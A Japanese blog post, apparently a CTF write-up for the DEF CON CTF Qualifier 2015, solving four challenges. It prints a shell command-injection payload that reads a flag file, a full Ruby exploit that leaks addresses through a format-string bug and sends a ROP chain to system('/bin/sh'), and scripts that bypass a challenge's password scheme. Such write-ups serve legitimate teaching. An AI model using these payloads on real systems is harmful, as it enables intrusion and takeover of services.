しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

DEF CON CTF Qualifier 2015 writeup

DEF CON CTF Qualifier 2015に参加しました(´∀`)

vulscryptos(vuls + scryptos)で参加し、チームは8問解いて10ptの67位でした。

私は4問解いて5pt入れました(*´ω`*)

解いた問題のwriteupを置いておきます(`・ω・´)


babycmd (Baby's First:1pt)

ping, dig, hostコマンドが実行できるシステム。

hostコマンドの場合、
「コマンド入力→引数チェック→ホスト名のチェック→popenでコマンド実行→出力をそのままprintfに渡す」
という処理になっている。

FSBがあるが、__printf_chkの保護機構が有効になっており、%n%N$の使用が制限されている。

保護機構を回避しつつformat string attackで攻める方針で調べていたらつらすぎたので、
引数チェックの処理をちゃんと読み、コマンドインジェクションの可能性を探ることにした。

その結果、以下のことがわかった。

  • "&", "'", "|", "*", "!", "#", ":", ";"の8文字を引数に含めると、引数チェックで怒られる
  • ホスト名チェックを通過するための条件は以下の通り
    • 63文字以内
    • 最初と最後の文字がアルファベットか数字
  • ホスト名チェックを通過すると、host "hoge"が実行される

hostコマンドに渡される引数がシングルクォートで囲まれていないので式展開が使える。

host a`cat</home/babycmd/flag`aと叩いてフラグを取った。

FLAG:Pretty easy eh!!~ Now let's try something hArd3r, shallwe??

mathwhiz (Baby's First:1pt)

"2 - 1 ="という式の計算結果を延々答える問題(出てくる数字は1~3のみ)。

お邪魔要素(?)として

  • 丸括弧(())の代わりに中括弧({})や角括弧([])が使われることがある
  • 累乗の演算子^
  • 数字の代わりにONE, TWO, THREEが使われることがある

があるが、適宜置換してevalすればOK

require_relative "../pwnlib"

ONE = 1
TWO = 2
THREE = 3

PwnTube.open("mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me", 21249){|tube|
    tube.wait_time = 0

    while true
        s = tube.recv_until("\n").tap{|a| puts a}
        if s =~ /You won/
            break
        end
        s = s.chomp.gsub("=", "").gsub("[", "(").gsub("]", ")").gsub("{", "(").gsub("}", ")").gsub("^", "**")
        tube.send(eval(s).to_s + "\n")
    end

    tube.interactive false
}

FLAG:Farva says you are a FickenChucker and you'd better watch Super Troopers 2

wibbly wobbly timey wimey (Pwnable:2pt)

下調べ。

$ file wwtw
ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x96e65f0ca5756e4f62012102a868fc3550cfc569, stripped

$ checksec --file wwtw
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   wwtw

ぬるゲーを5回クリアするとTARDIS KEYなるものの入力を求められる。

TARDIS KEYのチェック関数を見てみると、

int tardis_auth(){  //0xeb8
    char buf;  //ebp-0x12
    int i = 10;  //ebp-0x10
    char *c = (char*)tardis_auth;

    printf("TARDIS KEY: ");
    fflush(stdout);

    while(i != 0){
        if(isalnum(*c & 0x7f)){
            if(read(0, &buf, 1) == 1 && buf != *c & 0x7f){
                return 1;  //NG
            }
            i -= 1;
        }
    }

    return 0;  //OK
}

という感じになっている。ここは"UeSlhCAGEp"と入力すればOK。

ここから先の処理はこんな感じ

int current_time;  //0x50a4
int tick_count;  //0x50a8
int is_tardis_online;  //0x50ac

char menu_input[8];  //0x50b0
int sock_fd;  //0x50b8

void show_tardismenu(){
    puts("Your options are: ");
    puts("1. Turn on the console");
    puts("2. Leave the TARDIS");
    if(is_tardis_online){
        puts("3. Demeterialize");
    }
    fflush(stdout);

    return;
}

void update_timestate(){
    int buf;  //ebp-0x10

    if(tick_count++ > 5){
        puts("\nUnauthorized occupant detected...goodbye");
        exit(-1);
    }

    if(sock_fd == -1){
        fwrite(stderr, "Time vortex not responding\n", 27);
        return;
    }

    write(sock_fd, "\0", 1);
    if(read(sock_fd, &buf, 4) == 4){
        current_time = buf;
    }
    alarm(2);

    return;
}

void dematerialize(){
    char *var_424;  //ebp-0x424
    double var_420;  //ebp-0x420
    double var_418;  //ebp-0x418
    char buffer[1024];  //ebp-0x40c
    int canary;  //ebp-0xc

    while(1){
        printf("Coordinates: ");
        fflush(stdout);
        if(read_str(0, buffer, 1023, '\n') == -1){  //read_str(int fd, char* buffer, int length, char delim)
            exit(-1);
        }

        var_424 = strchr(buffer, ',');
        if(var_424 == NULL){
            puts("Invalid coordinates");
            continue;
        }

        var_420 = atof(buffer);
        var_418 = atof(var_424 + 1);
        printf("%f, %f\n", var_420, var_418);
        if(var_420 != 51.492137 || var_418 != -0.192878){
            printf("You safely travel to coordinates %s\n", buffer);
            return;
        }else{
            printf("Coordinate ");
            printf(buffer);
            printf(" is occupied by another TARDIS.  Materializing there ");
            puts("would rip a hole in time and space. Choose again.");
            fflush(stdout);
        }
    }
}

int is_service_time(){
    return 1431907180 < current_time && current_time <= 143190720;
}

int main(){
    char service_time_from[100];  //esp+0x34
    char service_time_to[100];  //esp+0x98

    is_tardis_online = 0;

    //ぬるゲー
    game();
    if(tardis_auth() == 1){
        puts("Wrong key!");
        puts("Enjoy 1960...");
        return 0;
    }

    puts("Welcome to the TARDIS!");

    //何やら時刻データの設定(略)

    connect_to_timeserver();  //localhost:1234にUDPで繋ぎ、fdをグローバル変数sock_fdに入れる
    update_timestate();
    signal(SIGALRM, update_timestate);
    alarm(2);
    while(1){
        tick_count = 0;

        show_tardis_menu();
        bzero(menu_input, 8);
        if(read(0, menu_input, 9) <= 0){  //☆
            exit(-1);
        }

        switch(menu_input[0]){
            case '1':
                if(is_service_time()){
                    printf("The TARDIS console is online!");
                    is_tardis_online = 1;
                    fflush(stdout);
                }else{
                    //5/17 23:59:40 GMT~5/18 0:00:00 GMTじゃないと怒られる
                    printf("Access denied except between %s and %s\n", service_time_from, service_time_to);
                    fflush(stdout);
                }
                break;
            case '2':
                puts("Enjoy 1960...");
                exit(0);
                break;
            case '3':
                if(is_tardis_online){
                    dematerialize();
                }else{
                    puts("Invalid");
                    fflush(stdout);
                }
                break;
            default:
                puts("Invalid");
                fflush(stdout);
                break;
        }
    }
}
  • localhost:1234にUDPで繋ぎ、2秒おきに「"\0"送信→受信した4byte intをcurrent timeに入れる」という処理をしている
  • current_timeが1431907180~143190720の範囲内にある場合のみ3. Dematerializeの選択肢が出現

ということがわかる。

dematerialize内でformat string attackが可能だが、is_tardis_onlineフラグが立っていないとdematerializeを呼び出せないため、「5/17 23:59:40 GMTまで待つ」以外でis_tardis_onlineフラグを立てる方法を考える。

コードをよく見ると、バッファオーバフローのバグ(☆部)があり、sock_fdの下位1バイト目を任意の値に上書きできることがわかる。

2秒おきにsock_fd経由で時刻情報を読み込んでいるので、sock_fdを0にしてしまえば標準入力からcurrent_timeを設定することができる。

ということで、exploitの大まかな流れは

  1. ゲームをクリア
  2. TARDIS KEY入力
  3. バッファオーバフローでsock_fdを0に上書き
  4. "\0"が来るまで待つ
  5. is_service_time() == 1になるようにcurrent_timeを設定
  6. dematerializeでformat string attackしてshellを取る

となる。

#coding:ascii-8bit
require_relative "../pwnlib"

Tardis_key = "UeSlhCAGEp"
Coordinates = "51.492137,-0.192878 "

# 盤面のparse
def parse_field(str)
    field = Array.new(20){Array.new(20, :blank)}
    ship = {x: 0, y: 0}
    goal = {x: 0, y: 0}

    for y in 0..19
        for x in 0..19
            case str.lines[1 + y][3 + x]
            when /[\^V<>]/
                field[y][x] = :current
                ship[:x] = x
                ship[:y] = y
            when "A"
                field[y][x] = :angel
            when /[ET]/
                field[y][x] = :goal
                goal[:x] = x
                goal[:y] = y
            end
        end
    end

    return [field, ship, goal]
end

# 2点間のユークリッド距離を求める
def get_distance(x1, y1, x2, y2)
    (x1 - x2) ** 2 + (y1 - y2) ** 2
end

def get_next_move(str)
    field, ship, goal = parse_field(str)
    dx = {up: 0, down: 0, right: 1, left: -1}
    dy = {up: -1, down: 1, right: 0, left: 0}
    distance = 1 << 31
    result = nil

    # 上下左右のうち、Angelと重ならず、かつゴールまでの距離が短くなる方角を調べる
    [:up, :down, :right, :left].each{|d|
        x = ship[:x] + dx[d]
        y = ship[:y] + dy[d]

        if 0 <= x && x < 20 && 0 <= y && y < 20 && field[y][x] != :angel && distance > get_distance(x, y, goal[:x], goal[:y])
            distance = get_distance(x, y, goal[:x], goal[:y])
            result = d
        end
    }

    return result
end

# TARDIS KEYの入力を求められるまで遊ぶ
def play_game(tube)
    dic = {up: "w", down: "s", right: "d", left: "a"}

    while true
        print "."

        # 盤面を読み込み
        str = tube.recv_until(/TARDIS KEY:|\(w,a,s,d,q\):/)
        if str =~ /TARDIS KEY:/
            break
        end

        # 先頭にメッセージ等ついている場合は除去
        str = str[str =~ /   012345678901234567890/ .. -1]
        # 進む方向を調べる
        direction = get_next_move(str)
        tube.send(dic[direction] + "\n")
    end
    puts

end

def build_format_string(prefix, index, start_address, data)
    str = ""
    str << prefix
    str << (start_address...start_address + data.length).to_a.pack("L*")
    current = str.length
    data.bytes.each{|b|
        if b != current
            str << "%#{(b - current + 256) % 256}c"
            current = b
        end
        str << "%#{index}$hhn"
        index += 1
    }
    return str
end

PwnTube.open("wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me", 2606){|tube|

    puts "[*] play game"
    play_game(tube)

    puts "[*] send TARDIS key"
    tube.send(Tardis_key + "\n")

    puts "[*] overwrite fd"
    tube.send("1" * 8 + "\x00")

    puts "[*] wait for alarm"
    tube.recv_until("\0")

    puts "[*] send time"
    tube.send([1431907181].pack("L"))

    puts "[*] turn on the console"
    tube.send("1\n")

    # また時間の入力を求められるとややこしいので、fdは戻しておく
    puts "[*] overwrite fd"
    tube.send("A" * 8 + "\x03")

    puts "[*] dematerialize"
    tube.send("3\n")

    puts "[*] leak base address"
    tube.recv_until("Coordinates:")
    tube.send(Coordinates + "%275$p\n")
    base_address = tube.recv_until("Choose again.").match(/0x[0-9a-f]{8}/).to_s.to_i(16) - 0x1491
    puts sprintf("base address = 0x%08x", base_address)

    puts "[*] get read address"
    tube.recv_until("Coordinates:")
    tube.send(Coordinates + [base_address + 0x5010].pack("L") + "%20$s\n")
    call_read = tube.recv_until("Choose again.").match(/#{Coordinates}.{4}(.{4})/).captures[0].unpack("L")[0]
    puts sprintf("read = 0x%08x", call_read)

    puts "[*] get write address"
    tube.recv_until("Coordinates:")
    tube.send(Coordinates + [base_address + 0x5068].pack("L") + "%20$s\n")
    call_write = tube.recv_until("Choose again.").match(/#{Coordinates}.{4}(.{4})/).captures[0].unpack("L")[0]
    puts sprintf("write = 0x%08x", call_write)

    puts "[*] leak stack address"
    tube.recv_until("Coordinates:")
    tube.send(Coordinates + "%9$p\n")
    esp_address = tube.recv_until("Choose again.").match(/0x[0-9a-f]{8}/).to_s.to_i(16) - 10 - 0x3c
    return_address = esp_address + 0x444 + 8
    puts sprintf("esp = 0x%08x", esp_address)

    bin_sh_address = call_read + 0x84f50 + 0xf04
    call_system = call_read - 0xdabd0 + 0x40190

    puts "[*] send rop"
    tube.recv_until("Coordinates:")
    rop = ""
    # rop << [call_write, 0xdeadbeef, 1, call_read + 0x84f50, 0x10000].pack("L*")  #libcのrodata領域dump用
    rop << [call_system, 0xdeadbeef, bin_sh_address].pack("L*")
    payload = build_format_string(Coordinates, 20, return_address, rop)
    raise "payload.length = #{payload.length}" if payload.length >= 1024
    raise "including \\n" if payload =~ /\n/
    tube.send(payload + "\n")

    puts "[*] trigger"
    tube.recv_until("Coordinates:")
    tube.send("1,1\n")

    tube.interactive

}
$ ruby wwtw.rb
[*] connected
[*] play game
.............................................................................
[*] send TARDIS key
[*] overwrite fd
[*] wait for alarm
[*] send time
[*] turn on the console
[*] overwrite fd
[*] dematerialize
[*] leak base address
base address = 0xf7776000
[*] get read address
read = 0xf7676bd0
[*] get write address
write = 0xf7676c50
[*] leak stack address
esp = 0xff960fc0
[*] send rop
[*] trigger
[*] interactive mode
cat /home/wwtw/flag
The flag is: Would you like a Jelly Baby? !@()*ASF)9UW$askjal

Access Control (Reverse:1pt)

Cに直すとこんな感じ。

char var_804b080[];  //0x0804b080
int sock_fd;  //0x0804bc84
int stage;  //0x0804b468
char challenge[];  //0x0804b46c
char username[];  //0x0804b472
char buffer[];  //0x0804b4a0
char connection_id[15];  //0x0804bc70
int key1;  //0x0804bc80
int key2 = 1;  //0x0804b04c

int recv_until(char *str){

    if(recv(sock_fd, buffer, 2000) < 0){
        puts("recv failed");
        exit(-1);
    }

    printf("<< %s\n", buffer);
    if(strstr(buffer, str) == NULL){
        memset(buffer, 0, 2000);
        return 0;
    }

    if(strstr(buffer, "connection ID:") != NULL){
        strncpy(connection_id, strstr(buffer, "connection ID: ") + 15, 15);
    }
    if(strstr(buffer, "challenge:") != NULL){
        strncpy(challenge, strstr(buffer, "challenge: ") + 11, 5);
    }
    
    memset(buffer, 0, 2000);
    return 1;
}

void decode1(char *in, char *out){
    int i;
    char var_11[];

    var_18 = key1 % 3 + key2;
    strncpy(var_11, &connection_id[var_18], 5);

    for(i = 0; i <= 4; i++){
        out[i] = in[i] ^ var_11[i];
    }

    return;
}

void decode2(char *str){
    int i;

    for(i = 0; i <= 4; i++){
        if(str[i] <= 0x1f){
            str[i] += 0x20;
        }
        if(str[i] == 0x7f){
            str[i] -= 0x7e;
            str[i] += 0x20;
        }
    }

    return;
}

int main(int argc, char **argv){
    int var_78;
    char var_72[];
    char password[];
    char var_16[];

    if(argc <= 1){
        puts("Need IP");
        return -1;
    }

    //argv[1]の17069番ポートにTCPで繋ぎ、fdをsock_fdに入れる

    stage = 0;
    while(1){
        if(var_78 == 0){
            printf("Enter message: ");
            fgets(var_804b080, 1000, stdin);
            if(strcmp(var_804b080, "hack the world\n") == 0){
                var_78 = 1;
            }else{
                printf("nope...%s\n", var_804b080);
                return -1;
            }
        }

        switch(stage){
            case 0:
                if(recv_until("what version is your client?") != 0){
                    key1 = connection_id[7];
                    send_str("version 3.11.54\n");
                }
                if(recv_until("hello...who is this?") != 0){
                    stage = 1;
                }
                break;
            case 1:
                send_str("grumpy\n");
                strcpy(username, "grumpy");
                recv_until("enter user password");
                if(recv_until("enter user password") != 0){
                    memset(password, 0, 6);
                    decode1("grumpy", password);
                    decode2(password);
                    password[5] = '\0';
                    sprintf(password, "%s\n", password);
                    send_str(password);
                }
                //ここにvar_72のクリア処理?
                sprintf(var_72, "hello %s, what would you like to do?", username);
                if(recv_until(var_72) != 0){
                    stage = 2;
                }
                break;
            case 2:
                send_str("list users\n");
                recv_until("deadwood");
                //ここにvar_72のクリア処理?
                sprintf(var_72, "hello %s, what would you like to do?", username);
                if(recv_until(var_72) != 0){
                    send_str("print key\n");
                    recv_until("the key is:");
                }
                stage = 0;
                break;
            case 3:
                send_str("list users\n");
                recv_until("deadwood");
                //ここにvar_72のクリア処理?
                sprintf(var_72, "hello %s, what would you like to do?", username);
                if(recv_until(var_72) != 0){
                    send_str("print key\n");
                    recv_until("challenge:");
                    if(recv_until("answer?") != 0){
                        memset(password, 0, 6);

                        key2 = 7;
                        decode1(challenge, password);
                        key2 = 1;
                        decode2(password);

                        password[5] = '\0';
                        memset(var_16, 0, 6);
                        strncpy(var_16, password, 5);
                        send_str(var_16);
                        recv_until("the key is:");
                        recv_until(var_72);
                        stage = 0;
                    }
                }
                break;
            default:
                stage = 0;
                break;
        }
    }
}

本番サーバに繋いで動作を見てみる。

$ nslookup access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me
Server:         127.0.1.1
Address:        127.0.1.1#53

Non-authoritative answer:
Name:   access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me
Address: 54.84.39.118

$ ./client 54.84.39.118
Socket created
Enter message : hack the world
<< connection ID: }^90T)46@#MU,M


*** Welcome to the ACME data retrieval service ***
what version is your client?

<< hello...who is this?
<<

<< enter user password

<< hello grumpy, what would you like to do?

<< grumpy
<<
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?

<< the key is not accessible from this account. your administrator has been notified.
<<
hello grumpy, what would you like to do?

grumpyさんだとprint keyを使わせてもらえないっぽい。

途中にlist usersコマンドの出力結果っぽいものが出ているので、この中にprint keyが使えるアカウントがあるかを調べたい……。

ということで、ログインまでの部分を自動化したクライアントを作った。

#coding:ascii-8bit
require_relative "../pwnlib"

def decode(username, connection_id, key)
    password = ""
    for i in 0..4
        c = username.bytes[i] ^ connection_id.bytes[i + key + (connection_id.bytes[7] % 3)]
        if c <= 0x1f
            c += 0x20
        end
        if c == 0x7f
            c = 0x21
        end
        password << c.chr
    end

    return password
end

PwnTube.open("access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me", 17069){|tube|

    username = "grumpy"

    puts "[*] get connection ID"
    connection_id = tube.recv_until(/connection ID: .{14}/)[-14..-1]
    puts "connection ID = #{connection_id}"

    puts "[*] send version"
    tube.recv_until("what version is your client?")
    tube.send("version 3.11.54\n")

    puts "[*] send username"
    tube.recv_until("hello...who is this?")
    tube.send(username + "\n")

    puts "[*] send password"
    tube.recv_until("enter user password")
    password = decode(username, connection_id, 1)
    tube.send(password + "\n")

    tube.interactive false
}
$ ruby access_control.rb
[*] connected
[*] get connection ID
connection ID = /3bFAC#FFlzDZG
[*] send version
[*] send username
[*] send password

[*] interactive mode
hello grumpy, what would you like to do?
list users
grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?
print key
the key is not accessible from this account. your administrator has been notified.

調べた結果、duchessさんならprint keyが使えることがわかった。

$ ruby access_control.rb
[*] connected
[*] get connection ID
connection ID = .1R+107zE}axRe
[*] send version
[*] send username
[*] send password

[*] interactive mode
hello duchess, what would you like to do?
print key
challenge: S/&5$
answer?
aaaaaaa
you are not worthy

print keyにも認証がかかっているようなので、クライアントのプログラムを参考にしつつ実装。

#coding:ascii-8bit
require_relative "../pwnlib"

=begin
list users

x grumpy
x mrvito
x gynophage
x selir
x jymbolia
x sirgoon
o duchess
x deadwood
=end

def decode(username, connection_id, key)
    password = ""
    for i in 0..4
        c = username.bytes[i] ^ connection_id.bytes[i + key + (connection_id.bytes[7] % 3)]
        if c <= 0x1f
            c += 0x20
        end
        if c == 0x7f
            c = 0x21
        end
        password << c.chr
    end

    return password
end

PwnTube.open("access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me", 17069){|tube|

    username = "duchess"

    puts "[*] get connection ID"
    connection_id = tube.recv_until(/connection ID: .{14}/)[-14..-1]
    puts "connection ID = #{connection_id}"

    puts "[*] send version"
    tube.recv_until("what version is your client?")
    tube.send("version 3.11.54\n")

    puts "[*] send username"
    tube.recv_until("hello...who is this?")
    tube.send(username + "\n")

    puts "[*] send password"
    tube.recv_until("enter user password")
    password = decode(username, connection_id, 1)
    tube.send(password + "\n")

    puts "[*] get challenge"
    tube.recv_until("hello #{username}, what would you like to do?")
    tube.send("print key\n")
    challenge = tube.recv_until(/challenge: .{5}/)[-5..-1]
    puts "challenge = #{challenge}"
    answer = decode(challenge, connection_id, 7)
    puts "answer = #{answer}"
    tube.recv_until("answer?")
    tube.send(answer + "\n")

    tube.interactive false
}
$ ruby access_control.rb
[*] connected
[*] get connection ID
connection ID = p$:CyuPP]P&fFr
[*] send version
[*] send username
[*] send password
[*] get challenge
challenge = 4%>8C
answer = d#X~1

[*] interactive mode
the key is: The only easy day was yesterday. 44564

FLAG:The only easy day was yesterday. 44564